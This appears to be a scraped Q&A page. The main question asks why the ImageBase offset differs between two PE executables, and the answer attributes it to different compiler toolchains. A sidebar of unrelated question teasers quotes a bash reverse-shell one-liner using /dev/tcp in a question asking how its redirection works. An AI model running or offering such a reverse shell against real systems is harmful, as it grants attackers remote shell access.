PE header ImageBase offset

I want to ask why ImageBase offset in one PE header is equal to 32h and other 35h

IMAGE:calc.exe offset 32h

IMAGE:ser2.exe offset 35h

Answers


I think it's because these were made by different toolchain. The first one is extremely likely cl.exe+link.exe and the other one may have been made by gcc+ld.


Need Your Help

SQL Filter in the where clause

sql dynamic filtering where

I'm not sure how to approach this issue 100% but I think it will likely be something using dynamic SQL. The user would like the ability to use a checkbox on the GUI to pass in variables. Not all

bash -i >& /dev/tcp/127.0.0.1/1234 0>&1

c linux bash gcc shellcode

I know that some part of the above title has already been asked but I still have some confusions. Actually, I don't really get the ">&" in bash -i >& /dev/tcp/127.0.0.1/1234 0>&1